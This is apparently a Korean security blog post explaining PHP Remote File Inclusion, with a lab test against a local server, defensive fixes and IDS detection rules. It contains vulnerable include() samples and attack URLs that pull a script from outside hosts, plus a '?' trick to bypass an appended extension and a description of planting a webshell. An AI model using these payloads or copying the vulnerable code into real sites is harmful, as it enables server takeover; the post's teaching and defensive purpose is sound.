메뉴 건너뛰기

Hello :0

Remote File Inclusion

2014.11.09 23:13

Leekyu 조회 수:2446

1. RFI(Remote File Inclusion)는 무엇인가?


최근 보안 장비 이벤트를 살펴보면 URL이 http://example.com//test.php?test1=http://flickr.com.splendidodesigns.com/bad.php? 

와 유사한 형태로 되어 있는 것을 자주 볼 수 있다. 

URL 부분의 Flickr.com과 splendidodesigns.com은 정상적인 각각 사진공유와 웹 호스팅 업체로써 정상적인 사이트지만, 공격자는 splendidodesigns.com의 웹 호스팅 서비스를 이용하여 속이기 쉬운 형태의 Domain을  사용하여 공격을 위해 사용한다.  

아래 사진은 공격자의 웹 페이지로 정상적인 서비스를 제공한다고는 보기 어려운 형태로 구성되어 있다. 

1.png

위에서 언급한것처럼 특정 웹 페이지(test.php)의 변수(test1)에 URL(http://flickr.com.splendidodesigns.com/bad.php?)을 삽입하는 것을 RFI(Remote File Inclusion)공격이라 부른다. 


RFI 취약점을 이해하기 위해서는 먼저 PHP의 include함수에대해 알고 있어야 한다. Include()함수는 주로 모든 페이지에 포함될 표준 헤더 및 메뉴들을 파일로 만들어서 포함할 때 사용된다. 함수 내에서 include에 의해 파일 호출이 발생한다면, 호출된 파일 안의 모든 코드가 그 함수에서 정의된 것처럼 동작한다.

Ex)include()사용 방법

Include('http://naver.com') : 네이버 페이지를 현제 페이지에서 호출 한다.

Include($dir) : $dir변수의 값을 현제 페이지에서 호출 한다.

Include($dir.’.php’) : 변수를 호출할 때 변수뒤에 .php를 붙인 상태로 호출 한다. 


아래 코드는  RFI 취약점이 존재하는 코드이다. 실제 홈페이지 메인으로 사용된 "index.php" 파일은 "vall"의 값을 인자로 넘겨 받는다. 인자로 넘어오는 값을 변수화 시키는 특징을 갖는 PHP는 인자로 넘어오는 "test1"의 값을 "$val" 변수 값으로 설정하고, 이에 지정된 값을 그대로 "index.php"에 포함하여 PHP 스크립트를 실행하는 구조이다.

<?php
if(!$val){
	include "./lib/index.html";
}
else{
	include "$val";
?>

이러한 취약점 코드의 문제점은 인자로 넘어오는 "val"의 값이 항상 정상적일 경우만을 생각하고, 작성된 코드에서 비롯된 것으로 "$val"에 의하여 “include”되는 파일에 대한 검증 작업을 하지 않는 것에 있다.


웹 페이지의 $dir, $var, $_GET등의 값을 전달 받는 과정에서 파라메터 값을 제대로 검사하지 않는 경우 파일의 실행이 가능하다.


Include($dir.'write.php');

http://www.leekyu.net/board/bbs/include/write.php?dir=http://attack.com/backboot.txt?


위의 예처럼 $dir 변수가 구체적으로 정의 되지 않은 경우 공격자는 외부의 파일을 URL에 삽입하여 웹서버에서 실행 할 수 있게 됩다.




2. RFI 취약점 테스트

테스트 환경
① Attacker : A(192.168.0.3)
② Attacker’s File server : B(hxxp://flickr.com.splendidodesigns.com/)
③ Vicitim : C(192.168.8:81) PHP를 사용하는 아피치 웹 서버

3.jpg

- Attacker A(192.168.0.3)은 인터넷이 가능한 곳이고 웹브라우저가 설치된 곳이라면 어디서든지 공격이 가능하기에 별다른 준비가 필요하지 않다.

- Attacker’s File server B(hxxp://flickr.com.splendidodesigns.com/)는 공격자가 미리 환경을 구성해두었기 때문에 공격에 사용하기만 하면되며, 개인적으로 테스트를 원한다면, 웹서버 구축후 웹쉘과 같은 프로그램을 웹서버에 올려 두면 된다.
- Vicitim C(192.168.8:81)는 PHP를 사용하는 웹서버를 구축하였고, 테스트를 위해서 Include함수의 취약점이 있는 php파일을 작성해서 업로드 해두었다. 
//RFI 취약점이 존재하는 소스코드
<?php
	$color='blue';
	if(isset($_GET['COLOR']))  
		$color=$_GET['COLOR']; 
	include($color.'.php');  
?>


☐ 공격 테스트
① A는 B을 이용하여 취약한 C의 $color 변수에 URL을 삽입을 시도 하지만 아래와 같이 페이지 오류를 표시 하며 실패한 것으로 나타난다. 오류 구문을 확인해 보면 include부분에 정상적으로 URL이 inclusion되었지만 소스코드 6번째 줄에 보는 것처럼 include 함수가 실행될때 bad.php에 .php가 한번 더 붙어 bad.php.php 와 같은 형태이기 때문에 공격에 실패했다.
5.jpg

② 오류을 확인 한 후 요청 URL에 종단 문자를 사용하여 공격을 시도 해본다.

아래의 사진은 종단 문자의 종류이고, 이런 종단 문자를 이용하여 요청을 조작 할 수 있다.

6.jpg

- 일반적으로 '?'는 URL에서 끝부분을 나타내게 되고, '?' 뒤에 부분에는 보통 변수값이 오게 된다. 

//RFI 취약점이 존재하는 소스코드
//COLOR에 URL을 삽입 
<?php
	$color='blue';
	if(isset($_GET['COLOR']))	 //COLOR=http://flickr.com.splendidodesigns.com/bad.php?   
		$color=$_GET['COLOR'];	//$color=http://flickr.com.splendidodesigns.com/bad.php?  로 변수가 설정됨 
	include($color.'.php');		//include("http://flickr.com.splendidodesigns.com/bad.php?".'.php');
?>
//최종적으로 http://flickr.com.splendidodesigns.com/bad.php?.php 가되고 이 값에서 .php는 변수가 된다.
//사용하지 않는 변수이기때문에 무시되고 완전한 형태의 http://flickr.com.splendidodesigns.com/bad.php가 삽입된다.

 

 - 시도 결과 공격이 성공했음을 확인 할 수 있다. 보통 RFI 공격 시도를 확인 해보면, 아래와 같이 간단한 파일 업로드의 기능만 있는 웹쉘을 삽입하는 경우가 많다. 소스코드가 긴 웹쉘의 경우 오류가 발생할 확률이 많은 것으로 판단된다.

7.jpg


A는 파일 업로드가 가능한 상태가 되었고, 실질적인 공격을  하기위해 B에 존재하는 jhl2013.php파일을 업로드 해본다.

8.jpg


④접속 결과 웹쉘이 정상적으로 업로드 되었고, 제대로 실행 되는 것을 확인 할 수 있다.9.jpg


3. 기타 분석

① 특이한 점은 B에 존재하는 jhl.php를 inclusion 시킨 결과 C의 color.php가 삭제 되었다.
② jhl.php 소스코드를 확인 결과 다중으로 인코딩 되어 있었다.
10.jpg


③ http://tools.rusuh.us/gzinflate/를 이용하여 인코딩 된 부분을 디코딩 해보니, ircbot으로 추정되는 코드가 확인 되었다.

11.jpg


irc 프로그램을 이용하여 확인된 서버와 포트로 접속을 해보니 vicitim admin CaliBeR을 볼 수 있었다.

12.jpg




4. 취약점 해결방법

① 보통 문자열에 대한 검증을 하기위해 if(!eregi(“:\/\/”,$dir)) $dir=”.”; 형태로 사용하는데 이것 역시 우회가 가능하기때문 로컬 웹 서버에서 외부 URL이나 FTP에 의한 파일을 허용하지 않기 하기 위해 PHP.ini 파일의 allow_url_fopen과 allow_url_include항목을 OFF로 수정한 후 재 시작을 한다.

13.jpg

include() disable된 것을 확인 할 수 있고 정상적으로 RFI공격이 되지 않는 것을 확인 할수있다.


② 직접 제작한 홈페이지가 취약한 함수를 사용하고 있지 않는지 확인한다.

 14.jpg


③ 아파치의 환경설정 파일인 httpd.conf의 환경설정에에서 php_admin_flag allow_url_fopen off를 입력 시킨후 아파치 서버를 재실행 한다.


6. IDS 탐지

15.jpg


16.jpg

① GET매서드의 =http:// 부분과 특수문자가 변환된 =http%3A%2F%2F 가 탐지되도록 룰을 설정한다.


② 잘 알려진 웹쉘에 관해 IDS, IPS에 탐지와 차단 규칙을 설정한다.